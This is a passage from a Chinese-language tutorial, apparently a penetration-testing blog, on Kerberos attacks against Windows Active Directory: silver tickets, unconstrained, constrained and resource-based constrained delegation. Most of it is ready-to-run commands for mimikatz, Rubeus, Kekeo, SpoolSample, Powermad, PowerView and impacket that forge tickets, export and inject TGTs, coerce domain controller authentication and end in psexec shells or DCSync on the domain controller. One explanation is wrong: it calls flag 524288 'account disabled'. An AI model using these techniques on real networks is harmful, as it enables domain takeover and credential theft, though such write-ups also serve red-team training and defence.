Authenticator3,进而验证对方的身份,验证成功就让 Client 访问server上的指定服务了。 所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的门票只对部分服务起作用。 在Windows下 klist purge privilege::debug kerberos::golden /domain:vvvv1.com /sid:S-1-5-21-3315874494-179465980-3412869843 /target:ad-2016.vvvv1.com /service:cifs /rc4:0e88bb31c15409de8c9302a085a0b853 /user:admin /ptt 在socks代理的环境下,只需要修改host文件指定域名与ip的关系即可。 C:\Windows\System32\drivers\etc\host 在linux下使用pypykatz https://github.com/skelsec/pypykatz/wiki/ pypykatz kerberos tgs -o 1.CCACHE "kerberos+NT+hash://VVVV1\AD-2016$:[email protected]" "[email protected]" 白银票据的服务列表 Service TypeService Silver TicketsWMIHOST <br>RPCSSPowerShell RemotingHOST <br>HTTPWinRMHOST <br>HTTPScheduled TasksHOSTWindows File Share (CIFS)CIFSLDAP operations including<br><br>Mimikatz DCSyncLDAPWindows Remote Server Administration ToolsRPCSS <br>LDAP <br>CIFSkerberos::golden /domain:域名 /sid:域sid /target:目标服务器 /service:目标服务 /rc4:目标服务器的hash /user:xxx用户名 /ptt 白银票据利用https://www.cnblogs.com/backlion/p/8119013.html 1.为CIFS 服务创建白银票据,以获得目标计算机上任何Windows共享的管理权限; 2.为HOST服务创建白银票据,以获得目标计算机修改和创建计划任务的权限; 3.为HTTP&WSMAN服务创建白银票据,以获得目标系统上的WinRM和或PowerShell Remoting的管理权限, 注入两张HTTP&WSMAN白银票据后,我们可以使用PowerShell远程(或WinRM的)反弹出目标系统shell; 4.为LDAP服务创建白银票据,以获得目标系统(包括Active Directory)上LDAP服务的管理权限,通过DCSync来获取域hash; 5.为HOST和RPCSS服务创建白银票据,以获得在目标系统使用WMI远程执行命令的权限; 总结1.白银票据是通过服务名和其hash来进行伪造服务票据ST,并且在利用白银票据的过程并不需要再经过KDC,因此,在socks代理环境下,只需要修改本地的host文件,使我们的命令走kerberos协议,即可使用白银票据; 2.黄金票据在socks代理环境下之所以需要远程解析DNS才可以使用的原因是,黄金票据相当于是伪造TGT票据,接下来还需要访问域内的DNS服务器,来返回KDC的地址等信息,因此必须要DNS远程解析才可以使用黄金票据; 3.当使用域名进行dir或者net use的时候,默认是使用kerberos认证,但是在特定情况下 Kerberos 认证失败(如未正确配置、目标服务器不支持或 Kerberos 凭据过期等),Windows 客户端会自动回退到使用 NTLM 认证, 也就是说如果是在域外的机器,在socks代理环境下,使用黄金票据无法指定KDC的地址,那么使用域名进行 dir 或 net use 操作时,默认的kerberos认证无法进行下去,就会使用ntlm认证。 NTLM认证审核失败如下: NTLM认证审核成功如下: 4.这样就可以解释为什么在socks代理环境下使用白银票据是使用kerberos认证,而使用黄金票据认证失败却显示NTLM认证。 在使用白银票据时,修改host文件本地解析域名,且接下来的过程不涉及到KDC,因此可以直接使用kerberos认证通过,由于白银票据是伪造ST,且利用PAC未设置的漏洞,因此产生的日志只有上图的4号日志,因为绕过PAC检测,因此也不会有3号日志。 在使用黄金票据时,虽然也可以使用修改host文件本地解析域名,但是黄金票据是伪造TGT,后面的认证过程中还会涉及到客户端使用TGT向KDC请求ST的操作,而获取到KDC的地址则需要访问DNS服务器,通过DNS服务器指定KDC的地址,才能完成kerberos认证,但是在windows下无法远程解析,也就是无法在远程访问DNS服务器(Proxifier软件无法远程解析,linux中的proxychains可以),因此无法使用kerberos认证,所以Windows 客户端会自动回退到使用 NTLM 认证,此时如果我们输入错误的账户密码则会显示NTLM认证失败。 如果使用黄金票据认证成功,则会产生2、3、4号日志。 委派攻击在现实情况下,往往多个服务不可能在一台机器中,那么如果用户在使用服务A时,需要服务B上属于自己的数据,最简单的方式就是A代替用户去请求B返回相应的信息,这个过程就是委派。 委派攻击分为非约束委派、约束委派、基于资源的约束委派三种。 https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html https://mp.weixin.qq.com/s?__biz=MzI2NDk0MTM5MQ==&mid=2247483689&idx=1&sn=1d83538cebbe2197c44b9e5cc9a7997f&chksm=eaa5bb09ddd2321fc6bc838bc5e996add511eb7875faec2a7fde133c13a5f0107e699d47840c&scene=126&sessionid=1584603915&key=cf63f0cc499df801cce7995aeda59fae16a26f18d48f6a138cf60f02d27a89b7cfe0eab764ee36c6208343e0c235450a6bd202bf7520f6368cf361466baf9785a1bcb8f1965ac9359581d1eee9c6c1b6&ascene=1&uin=NTgyNDEzOTc%3D&devicetype=Windows+10&version=62080079&lang=zh_CN&exportkey=A8KlWjR%2F8GBWKaJZTJ2e5Fg%3D&pass_ticket=B2fG6ICJb5vVp1dbPCh3AOMIfoBgH2TXNSxmnLYPig8%3D 非约束委派攻击非约束委派的请求过程如下图 这里我们可以了解,当service1的服务账户开启了非约束委派后,user访问service1时,service1会将user的TGT保存在内存中,然后service1就可以利用TGT以user的身份去访问域中的任何user可以访问的服务,总结起来就是当域内某台主机或用户访问了配置了非约束性委派的主机的服务的时候,就会将自己的TGT发送到该服务所在的计算机上,然后该计算机会保存其TGT至内存中。 也就是说,如果域内一台主机存在非约束委派,经过一系列的渗透操作,我们拿下了这一台存在非约束委派的主机,那么只需要让域管理员或者域控访问该主机的服务或者对该主机进行kerberos认证,就可以直接提取到域管理员的TGT,从而利用该TGT接管域控。 查找非约束委派主机当服务账号或者主机被设置为非约束性委派时,其userAccountControl属性会包含TRUSTED_FOR_DELEGATION ADfind (需要上传到域内一台成员主机中运行) AdFind.exe -b "DC=vvvv1,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName **-b "DC=vvvv1,DC=com":**指定了要搜索的 Active Directory 的基本搜索路径(基准 DN)。这里的示例是域名为 vvvv1.com 的域。"DC" 表示域组件。**-f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))":**指定了过滤器,以筛选符合条件的对象。该示例的过滤器使用了两个条件:**samAccountType=805306369:**筛选出 samAccountType 值为 805306369,表示计算机对象(Computer)。 0x30000000 (805306368):表示用户对象(User)0x30000001 (805306369):表示计算机对象(Computer)0x30000002 (805306370):表示组对象(Group)0x30000003 (805306371):表示域本地组对象(Domain Local Group)0x30000004 (805306372):表示全局组对象(Global Group)0x30000005 (805306373):表示通用组对象(Universal Group)**userAccountControl:1.2.840.113556.1.4.803:=524288:**通过位掩码筛选出 userAccountControl 属性中的特定标志位。这里的值 524288 表示 "ADS_UF_ACCOUNTDISABLE" 标志,用于检查用户帐户是否禁用。 **cn distinguishedName:**指定要返回的属性列表。该示例中返回了 cn(常规名称)和 distinguishedName(唯一名称)属性。 LdapSearch (linux下,在socks代理的环境下可以使用,需要指定账号密码) ldapsearch -LLL -x -H ldap://10.10.10.10:389 -D "[email protected]" -w "User\!@#45" -b dc=vvvv1,dc=com "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName -LLL:以 LDIF 格式(LDAP Data Interchange Format)输出结果,去除注释和版本信息。-x:使用简单身份验证(Simple Authentication),即使用明文密码进行身份验证。-H ldap://192.168.124.142:389:指定要连接的 LDAP 服务器的主机和端口。在这个示例中,LDAP 服务器位于 IP 地址为 192.168.124.142 的主机上,使用默认端口 389 进行通信。-D "[email protected]":指定用于绑定(bind)到 LDAP 服务器的用户 DN(Distinguished Name)。在这个示例中,绑定的用户为 [email protected]。-w "123":指定与绑定用户关联的密码。-b dc=test,dc=com:指定要搜索的基准 DN(Base DN),即搜索的起始点。在这个示例中,基准 DN 是 dc=test,dc=com,表示搜索域为 test.com。"(&(samAccountType=805306369)(msds-allowedtodelegateto=*))":指定了搜索过滤器,以筛选符合条件的对象。该示例中的过滤器使用了两个条件:samAccountType=805306369:筛选出 samAccountType 值为 805306369,表示计算机对象(Computer)。msds-allowedtodelegateto=*:筛选具有非空 msds-allowedtodelegateto 属性的对象。cn distinguishedName msds-allowedtodelegateto:指定要返回的属性列表。该示例中返回了 cn(常规名称)、distinguishedName(唯一名称)和 msds-allowedtodelegateto 属性。powerview (需要上传powerview进入目标靶机) Powershell -ExecutionPolicy Bypass Import-Module .\PowerView.ps1 Get-NetComputer -Unconstrained -Domain vvvv1.com | select cn 非约束委派利用利用环境 域控:AD-2016 普通成员主机:WSUS-PC(配置非约束委派) 域管账户:VVVV1\administrator 由上面的原理我们可以知道,一台主机配置了非约束委派之后,域管理员或者域控访问该主机的服务或者对该主机进行kerberos认证,都会将对应的TGT保存到该主机的LSASS进程中,我们就可以通过工具进行导出TGT来注入内存,获取域内高权限,从而接管域控。 这里我们只需要使用域控或者域管账户对WSUS-PC机器进行kerberos认证即可。 未注入前权限 使用域控或者域管账户对WSUS-PC机器进行kerberos认证在域控上使用机器名进行net use建立共享进行kerberos认证。 net use \\WSUS-PC.vvvv1.com\ipc$ dir \\WSUS-PC.vvvv1.com\c$经过此次连接后,Administrator的凭证已经留在机器WSUS-PC上了。 使用mimikatz导出TGT,并选择高权限TGT注入内存privilege::debug #导出票据 sekurlsa::tickets /export kerberos::ptt [0;7963f][email protected] #注入票据 klist 发现权限提升,接管域控。 总结思路通过IdapSearch或者AdFind或者PowerView查询域内配置了非约束性委派的机器。通过渗透手段拿下目标机器权限。诱导域控或域管对这台机器进行kerberos认证(使用钓鱼手段或者打印机漏洞等等)。利用成功后,域控或域管的TGT被注入LSASS进程,使用mimikatz等工具导出本地TGT。获取到高权限TGT,使用mimikatz等工具将高权限的TGT注入内存,接管域控。利用Spooler服务漏洞进行攻击https://blog.csdn.net/a3320315/article/details/106511098 https://blog.csdn.net/qq_44159028/article/details/124014421 在特定情况下,如果域控开启splooer服务,可以利用splooer服务让域控主动连接。Spooler服务默认开启,域用户可以利用windows打印系统远程协议(MS-RPRN)强制任何运行了spooler服务的域内计算机通过kerberos或ntlm对任何目标进行身份验证,这便是该攻击方式的原理。 Rubeus对域控机器账户监听以本地管理员权限运行Rubeus,对域控机器账户的登录进行监听。 Rubeus.exe monitor /interval:1 /filteruser:ad-2016$ # 我们可以用Rubeus来监听Event ID为4624事件,这样可以第一时间截取到域控的TGT # /interval:1 设置监听间隔1秒 # /filteruser 监听对象为我们的域控,注意后面有个$,如果不设置监听对象就监听所有的TGT # DC$为域控的主机名字加$ 利用spoolsample工具强制让域控机向本机验证身份以当前域用户身份运行spoolsample。 注意:需要关闭防火墙,否则无法抓取到TGT。 spoolsample.exe ad-2016 wsus-pc # 表示利用打印服务强制让域控机向wsus-PC主机验证身份,这样通过Rubeus就可以监听抓取到TGT了 格式处理,获得票据因为获取到的TGT前后存在换行和空格,这里我们使用python简单进行处理。 data ='' with open("1.txt") as fp1: for line in fp1: data += line.strip().strip('\n') with open("2.txt",mode='a') as fp2: fp2.write(data) print(data) 使用powershell将其转为正常的票据 [IO.File]::WriteAllBytes("C:\Users\16229\Desktop\1.kirbi", [Convert]::FromBase64String("TGT_data")) 注意:生成路径需要绝对路径 生成票据1.kirbi后直接导出即可。 使用mimikatz或者Rubeus导入TGT。 kerberos::ptt 1.kirbi 或者使用Rubeus直接导入 Rubeus.exe ptt /ticket:TGT_data 注意,这里获取的TGT实际上是DC的机器账户,而机器账户是没有相应权限访问cifs服务的,但是在LDAP服务中,机器账户会被当做域控主机,从而可以DCSync。 利用DCSync可以导出域内hash,制作黄金票据来进行权限提升与维持,这里就不多赘述了。 约束委派攻击对于约束性委派,服务账户只能获取该用户对指定的服务的ST。从而只能模拟该用户访问特定的服务。配置了约束性委派的账户的msDS-AllowedToDelegateTo属性会指定对哪个SPN进行委派。约束性委派的设置需要SeEnableDelegationPrivilege特权,该特权默认仅授予域管理员和企业管理员。 **约束性委派有两种:**一种是仅使用Kerberos,也就是不能进行协议转换;另一种是使用任何身份验证协议,也就是能进行协议转换。 (1)仅使用Kerberos 配置了仅使用Kerberos约束性委派的机器账户和服务账户的userAccountControl属性与正常账户一样,但是其msDS-AllowedToDelegateTo属性会有允许被委派服务的SPN(2)使用任何身份验证协议 配置了使用任何身份验证协议约束性委派的机器账户的userAccountControl属性的Flag位为WORKSTATION_TRUST_ACCOUNT | TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION,其对应的值为16781312,并且其msDS-AllowedToDelegateTo属性会有允许被委派服务的SPN约束性委派的流程 为了在Kerberos协议层面对约束性委派进行支持,微软对Kerberos协议扩展了两个自协议:S4u2Self(Service for User to Self)和 S4u2Proxy(Service for User to Proxy)。S4u2Self可以代表任意用户请求针对自身的ST;S4uProxy可以以用户的名义请求针对其他指定服务的ST 用户A访问service1;service1通过S4U2self协议代表用户A去请求一个可以访问service1自身的可转发的ST,这个ST代表域控授权service1可以以用户A的身份进行操作;service1通过S4U2proxy协议以用户A的身份访问KDC请求一个访问service2的可转发的ST,而在S4U2proxy阶段过程会通过判断msds-allowedtodelegateto里的SPN值来确定是否可以申请到service2的ST;service1获取到ST并以用户A的名义访问service2;也就是说,如果获取了service1的权限,就可以伪造S4U先请求service1本身的ST,然后利用此ST便可以伪造任意用户请求获取service2的ST。 (注意:可转发的ST指的是一个用户的凭证或票据从一个服务传递给另一个服务,以便在后续的服务中代表该用户进行身份验证和授权。当一个用户在某个服务上成功进行身份验证后,该服务可能会颁发一个票据给用户。这个票据可以包含用户的身份信息和权限。通常情况下,这个票据只能在颁发它的服务上使用,这样就是不可转发的服务票据。但是,在约束委派中,获取到的服务自身的ST可以将用户的票据转发给其他服务,以便用户无需重新进行身份验证,直接在其他服务上使用之前获得的票据。) 查找约束委派主机当服务账号或者主机被设置为约束性委派时,其userAccountControl属性包含TRUSTED_TO_AUTH_FOR_DELEGATION,且msDS-AllowedToDelegateTo属性会包含被约束的服务 AdFind //查询域内具有约束委派的机器账户 AdFind.exe -b "DC=vvvv1,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto //查询域内具有约束委派的服务账户 AdFind.exe -b "DC=vvvv1,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto LdapSearch //查询域内具有约束委派的机器账户 ldapsearch -LLL -x -H ldap://10.10.10.10:389 -D "[email protected]" -w "admin!@#4567" -b dc=vvvv1,dc=com "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto //查询域内具有约束委派的服务账户 ldapsearch -LLL -x -H ldap://10.10.10.10:389 -D "[email protected]" -w "admin!@#4567" -b dc=vvvv1,dc=com "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto PowerView Powershell -ExecutionPolicy Bypass Import-Module .\PowerView.ps1 //查询域内具有约束委派的机器账户 Get-DomainComputer -TrustedToAuth -Domain vvvv1.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto //查询域内具有约束委派的服务账户 Get-DomainUser -TrustedToAuth -Domain vvvv1.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto 约束委派利用因为S4U2self是service代表用户请求的自身可转发的ST,因此如果要配置域内账户进行约束委派,需要对该账户配置SPN。 查看域内所有SPN setspn -Q */* 查看单个主机的SPN setspn -L ad-2016$ 配置SPN setspn -u -s host/weipai wp -u: 指定要设置 SPN 的帐户。在此命令中,-u 参数指示要设置名为 "wp" 的帐户的 SPN。-s: 指定要添加或更改 SPN 记录。在此命令中,-s 参数表示要添加一个新的或更改现有的 SPN 记录。host/weipai: 这是 SPN 的格式部分之一,用于标识服务和主机。在这个例子中,"host/weipai" 被用作服务和主机名。请注意,这是一个示例,具体的服务和主机名应根据您的实际情况进行调整。wp: 这是要设置 SPN 的帐户名。在这个命令中,"wp" 是指定要设置 SPN 的帐户的名称。综上所述,setspn -u -s host/weipai wp 命令将为 "wp" 帐户添加一个新的 SPN 记录,并将其关联到 "host/weipai" 服务和主机。这样,在系统进行身份验证和授权时,可以正确地识别 "wp" 帐户,并将其与特定的服务和主机相关联。 攻击方式一首先我们需要获取到服务账户的NTLM-HASH,用来制作TGT,通过服务账户的TGT在下一步获取到自身的可以转发的ST(如果是某个机器配置了约束委派,使用其对应的机器账户即可)。 使用工具Kekeo生成服务账户的TGT tgt::ask /user:WSUS-PC$ /domain:vvvv1.com /NTLM:729211aa36b43064f566d70dff031567 这一步包括两个步骤: 1.利用服务账户的TGT来伪造S4U来请求自身的可转发的ST; 2.通过自身的可转发的ST来伪造任意用户请求获取其他服务的ST; (注意,伪造的用户需要是经过KDC备案的用户。另外,如果伪造的用户不具备其他服务的权限,那么即使成功委派该服务,生成了票据并注入内存也无法成功访问,因此最好直接伪造administrator用户) 伪造无权限的man03用户 tgs::s4u /tgt:[email protected][email protected] /user:[email protected] /service:cifs/ad-2016.vvvv1.com 发现成功生成ST kerberos::ptt [email protected]@[email protected] 导入ST后,发现并没有权限访问域控的CIFS服务 伪造有权限的administrator用户 tgs::s4u /tgt:[email protected][email protected] /user:[email protected] /service:cifs/ad-2016.vvvv1.com 导入ST后,可以直接访问域控的CIFS服务 kerberos::ptt [email protected]@[email protected] 当然,导入票据之后,具有了域控的CIFS权限,就可以直接使用psexec直接连接即可 psexec.exe \\ad-2016.vvvv1.com cmd.exe 在这里注意一个点,使用windows自带的psexec可以直接使用windows本地票据进行连接,使用impacket工具包无法成功连接。 因为windows自带的psexec工具是建立在windows平台下的工具,因此可以直接读取到windows内存中的票据,通过票据进行发包进行连接。 但是使用impacket工具包中的psexec、smbexec等工具是建立在linux平台下的工具,在linux中并没有票据这一说法,使用 impacket 的脚本使用 .ccache 文件进行身份验证,因此在生成票据文件的时候,我们需要将.kribi文件格式转化成impacket脚本可以识别的文件格式,也就是.ccache文件。然后我们需要将 KRB5CCNAME 变量设置为 ccache 文件的绝对路径。 然后使用impacket工具包即可直接连接。 python psexec.py [email protected] -k -no-pass 攻击方式二当然,也可以直接使用mimikatz导出机器账户的TGT,这样就不需要生成TGT了。 sekurlsa::tickets /export 接下来利用服务账户的TGT来伪造S4U来请求自身的可转发的ST,然后再通过自身的可转发的ST来伪造任意用户请求获取其他服务的ST tgs::s4u /tgt:[0;3e4][email protected] /user:[email protected] /service:cifs/ad-2016.vvvv1.com 再通过mimikatz导入票据即可 kerberos::ptt [email protected]@[email protected] 然后可以使用官方的psexec进行连接 PsExec64.exe \\ad-2016.vvvv1.com cmd.exe 攻击方式三直接利用Rubeus进行攻击 Rubeus.exe s4u /user:WSUS-PC$ /rc4:729211aa36b43064f566d70dff031567 /domain:vvvv1.com /impersonateuser:administrator /msdsspn:cifs/ad-2016.vvvv1.com /ptt 已经可以直接使用psexec连接了 PsExec64.exe \\ad-2016.vvvv1.com cmd.exe 攻击方法四python getST.py -dc-ip 10.10.10.10 -spn cifs/ad-2016.vvvv1.com -impersonate administrator vvvv1.com/WSUS-PC$ -hashes :729211aa36b43064f566d70dff031567 set KRB5CCNAME=C:\Users\Administrator\Desktop\kekeo\administrator.ccache python psexec.py [email protected] -k -no-pass -codec gbk 总结约束委派和非约束委派的区别 1.委派任何服务即为非约束委派,委派特定的服务即为约束委派; 2.非约束委派需要另一台主机或账号对配置了非约束委派的主机进行kerberos认证,并且需要通过认证,非约束委派主机可以直接导出对方保存在内存中的TGT来进行利用; 而约束委派是在获取到配置了约束委派的主机后,通过伪造S4U来请求主机或者服务账号本身的可转发的ST,然后通过该ST来伪造任意用户(需要通过KDC验证的用户)请求获取对应服务的ST; 3.非约束委派需要完成整个kerberos认证,因此需要其他主机主动进行认证,而约束委派只需要备案在KDC中的用户名即可,因此可以进行伪造用户请求,不需要其他主机主动进行认证; 4.使用windows自带的psexec可以直接使用windows本地票据进行连接,使用impacket工具包无法成功连接。因为windows自带的psexec工具是建立在windows平台下的工具,因此可以直接读取到windows内存中的票据,通过票据进行发包进行连接。但是使用impacket工具包中的psexec、smbexec等工具是建立在linux平台下的工具,在linux中并没有票据这一说法,使用 impacket 的脚本使用 .ccache 文件进行身份验证,因此在生成票据文件的时候,我们需要将.kribi文件格式转化成impacket脚本可以识别的文件格式,也就是.ccache文件。然后我们需要将 KRB5CCNAME 变量设置为 ccache 文件的绝对路径。 基于资源的约束委派基于资源的约束性委派 (RBCD: Resource Based Constrained Delegation):为了使⽤户/资源更加独⽴,微软在Windows Server 2012中引⼊了基于资源的约束性委派。基于资源的约束委派不需要域管理员权限去设置,⽽把设置属性的权限赋予给了机器⾃身--基于资源的约束性委派允许资源配置受信任的帐户委派给他们。 基于资源的约束委派只能在运⾏ Windows Server 2012 和 Windows Server 2012 R2 及以上的域控制器上配置,但资源的约束委派可以跨域森林和跨域。 流程如下 服务A使用自己的服务账户和密码向KDC申请一个可转发的TGT;服务A利用S4u2Self协议代表用户申请一个访问自身的ST。这一步区别于传统的约束性委派。在S4uSelf协议中提到,返回的ST可转发的一个条件是服务A配置了传统的约束性委派。KDC会检查服务A的msDS-AllowedToDelegateTo字段,如果这个字段被赋值了,则KDC返回可转发的ST。但是由于这里是基于资源的约束性委派,是在服务B上配置的,服务B的msDS-AllowedToActOnBehalfOfOtherIdentity属性配置了服务A的SID,服务A并没有配置msDS-AllowedToDelegateTo字段,因此KDC返回的ST是不可转发的;服务A利用S4u2Proxy协议以用户身份向KDC请求访问服务B的可转发ST(上一步获得的不可转发ST放在请求包的AddtionTicket中)。KDC返回访问服务B的可转发ST;服务A用上一步获得可转发ST访问服务B; 利用条件 由上文我们可以知道,配置了基于资源的约束性委派账户的msDS-AllowedToActOnBehalfOfOtherIdentity属性的值为被允许委派账户的SID。那么,谁能修改msDS-AllowedToActOnBehalfOfOtherIdentity属性,就说明谁拥有配置基于资源的约束性委派的权限。 在域控上执行,查询指定域内机器PC-2016的msDS-AllowedToActOnBehalfOfOtherIdentity属性 AdFind.exe -f "&(objectcategory=computer)(name=PC-2016)" msDS-AllowedToActOnBehalfOfOtherIdentity 默认情况下没有该属性 谁能添加机器账户的msDS-AllowedToActOnBehalfOfOtherIdentity属性,谁就能配置基于资源的约束性委派。使用Adfind执行如下的命令,查询PC-2016机器的ACL,看哪些用户修改属性的权限 AdFind.exe -b CN=PC-2016,CN=Computers,DC=vvvv1,DC=com -sc getacl -sddl+++ -sddlfilter ;;"WRT PROP";;; 如图所示,这四类用户可以修改该机器账户的msDS-AllowedToActOnBehalfOfOtherIdentity属性。 VVVV1\WP:该用户为将该机器加入域的用户; VVVV1\Cert Publishers:该用户组是用于授权和管理证书发布人的; NT AUTHORITY\SELF:该用户是机器账户自身; BUILTIN\Administrators:该用户组的是 Windows 操作系统中的一个内置用户组,包含了本地计算机上具有管理员权限的用户和组; 或者配置写入权限,也可以修改账户属性; 实际上,我们可以忽略VVVV1\Cert Publishers组,因为该组默认是不存在用户的。 机器账户自身和管理员组可以修属性不难理解,但是为什么VVVV1\WP用户可以修改属性呢? 这里我们需要明白的是,非只有域管理员才有将机器加入域的权限。一个普通的域用户也可以将某个机器加入域内,如果使用某个域用户将一台机器加入域内,那么这个域用户也就拥有了可以修改对应机器的属性的权限。 另外,域内用户都有一个属性叫做ms-ds-MachineAccountQuota,它代表的是允许用户在域中常见计算机账户的个数,默认是10。那么这就代表我们如果拥有一个普通的域用户那么我们就可以利用这个用户最多可以创建十个新的计算机帐户也就是机器账户。前文我们也提到了,S4U2Self只适用于具有SPN的账户,而机器账户默认是注册RestrictedKrbHost/domain和HOST/domain这两个SPN的,因此可以直接利用。 基于资源的约束性委派的优势 委派的授予权限给了拥有资源的后端,而不是前端。不再需要域管理员权限设置,只需要拥有在计算机对象上编辑msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限,也就是将机器加入域的域用户和机器在自身都拥有该权限;约束性委派不能跨域进行委派,而基于资源的约束性委派可以跨域和林;约束性委派和基于资源的约束性委派配置的差别 传统的约束性委派是“正向的”,通过修改服务账户的msDS-AllowedToActOnBehalfOfOtherIdentity属性,添加服务B的SPN,设置约束性委派对象为服务B,服务A便可以模拟任意用户向域控请求访问服务B的ST;而基于资源的约束性委派则相反,通过修改服务B的msDS-AllowedToActOnBehalfOfOtherIdentity属性,添加服务A的SID,以达到让服务A模拟任意用户访问服务B资源的目的;基于资源的约束性委派攻击 该攻击是有国外安全研究员Elad Shami 提出的,他在文章中指出无论服务账户的UserAccountControl属性是否被设置为TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION值,服务自身都可以通过调用S4uSelf来为任意用户请求自身的服务票据。但是当没有设置该属性时,KDC通过检查账户的msDS-AllowedToActOnBehalfOfOtherIdentity字段,发现没有被赋值,所以服务自身通过S4uSelf请求到的ST是不可转发的,因此是无法通过S4u2Proxy协议转发到其他服务进行约束性委派认证; 但是,在基于资源的约束性委派的过程中,不可转发的ST仍然可以通过S4u2Proxy协议转发到其他服务进行约束性委派认证,并且服务还会返回可转发的ST,这是微软的设计缺陷; 因此,如果我们能够在服务B上配置允许服务A的基于资源的约束性委派,那么可以通过控制服务A使用S4uSelf协议向域控请求任意用户访问自身的ST,最后再使用S4u2Proxy协议转发此ST去请求访问服务B的可转发ST,我们就可以模拟任意用户访问服务B了。而这里我们控制的服务A可以普通域用户的身份去创建机器账户; 最后,我们总结几个利用的条件: 操作系统版本大于Windows Server 2012;拥有一个普通域用户权限,用于创建服务账户(直接使用一个服务账户也可以);拥有一个域用户权限,且该用户具有可以修改目标机器属性的权限(域管理员账户、机器账户自身和创建机器账户的用户拥有该权限);查询基于资源的约束委派的主机或服务账户AdFind 利用Adfind过滤samAccountType和msDS-AllowedToActOnBehalfOfOtherIdentity属性。 查询域中配置了基于资源的约束性委派的主机Adfind.exe -b "DC=vvvv1,DC=com" -f "(&(samAccountType=805306369)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" msDS-AllowedToActOnBehalfOfOtherIdentity 查询域中配置了基于资源的约束性委派的服务账户Adfind.exe -b ”DC=vvvv1,DC=com" -f "(&(samAccountType=805306368)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" msDS-AllowedToActOnBehalfOfOtherIdentity 使用Adfind查询出来的msDS-AllowedToActOnBehalfOfOtherIdentity值用{Security Descriptor}代替,这个值包含允许被委派的服务账户或机器账户的SID IdapSearch 利用ldapSearch过滤samAccountType和msDS-AllowedToActOnBehalfOfOtherIdentity属性 查询域中配置了基于资源的约束性委派的主机ldapsearch -x -H ldap://10.10.10.10:389 -D "[email protected]" -w User!@#45 -b "DC=vvvv1,DC=com" "(&(samAccountType=805306369)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" | grep dn 查询域中配置了基于资源的约束性委派的服务账户ldapsearch -x -H ldap://10.10.10.10:389 -D "[email protected]" -w User!@#45 -b "DC=vvvv1,DC=com" "(&(samAccountType=805306368)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" | grep dn 基于资源的约束委派利用步骤一当前已经获取到域内一个用户权限VVVV1\WP whoami /all S-1-5-21-3315874494-179465980-3412869843-2607 或者使用PowerView工具Get-DomainUser -Identity VVVV1\WP -Properties objectsid 导入PowerView.ps1 Powershell -ExecutionPolicy Bypass Import-Module .\PowerView.ps1 查看用户VVVV1\WP的ACL权限Get-DomainObjectAcl | ?{$_.SecurityIdentifier -match "S-1-5-21-3315874494-179465980-3412869843-2607"} | select objectdn,activedirectoryrights 或者使用如下命令,查询VVVV1\WP对指定机器账户的ACL权限Get-DomainObjectAcl -Identity PC-2016 | ?{$_.SecurityIdentifier -match "S-1-5-21-3315874494-179465980-3412869843-2607"} 不一定需要GenericAll权限,GenericWrite、WriteProperty、WriteDacl等等权限都可以修改账户属性。 步骤二添加机器账户 如果已经获取到域内另一个机器账户的HASH,也可以跳过这一步骤。 使用工具PowerMad Powershell -ExecutionPolicy Bypass Import-Module .\Powermad.ps1 //New-MachineAccount -MachineAccount [username] -Password $(ConvertTo-SecureString "[userpassword]" -AsPlainText -Force) New-MachineAccount -MachineAccount weipai -Password $(ConvertTo-SecureString "User!@#45" -AsPlainText -Force) 查询当前域内机器账户 net group "domain computers" /domain 查询机器账户的SID 使用PowerView脚本 Get-DomainComputer -Identity weipai | select objectsid S-1-5-21-3315874494-179465980-3412869843-2609 在windows server2008以及2012版本中,可以使用系统自带的工具dsget和dsquery进行查询SID dsquery computer | dsget computer -dn -sid 上传并导入该DLL //Microsoft.ActiveDirectory.Management.dll Import-Module .\Microsoft.ActiveDirectory.Management.dll //Get-ADComputer [username] Get-ADComputer weipai 步骤三修改msDS-AllowedToActOnBehalfOfOtherIdentity 有两种方法可以修改msDS-AllowedToActOnBehalfOfOtherIdentity属性值 PowerviewActiveDirectory模块PowerView 配置weipai到PC-2016的基于资源的约束委派 Powershell -ExecutionPolicy Bypass Import-Module .\PowerView.ps1 $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3315874494-179465980-3412869843-2609)" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) Get-DomainComputer pc-2016| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose 验证是否成功添加,如果有返回值,则证明成功添加属性 Get-DomainComputer pc-2016 -Properties msds-allowedtoactonbehalfofotheridentity 清除msds-allowedtoactonbehalfofotheridentity属性的值 Set-DomainObject pc-2016 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose ActiveDirectory模块 只有Windows Server 2012以及以上的ActiveDirectory模块才有-PrincipalsAllowedToDelegateToAccount选项,且ActiveDirectory模块默认只在域控上安装,如果不是域控可以从域控上把DLL文件复制出来,然后导入powershell即可。 Powershell -ExecutionPolicy Bypass Import-Module .\Microsoft.ActiveDirectory.Management.dll Set-ADComputer pc-2016 -PrincipalsAllowedToDelegateToAccount weipai$ Get-ADComputer pc-2016 -Properties PrincipalsAllowedToDelegateToAccount 步骤四注入票据获取权限 Rubeus 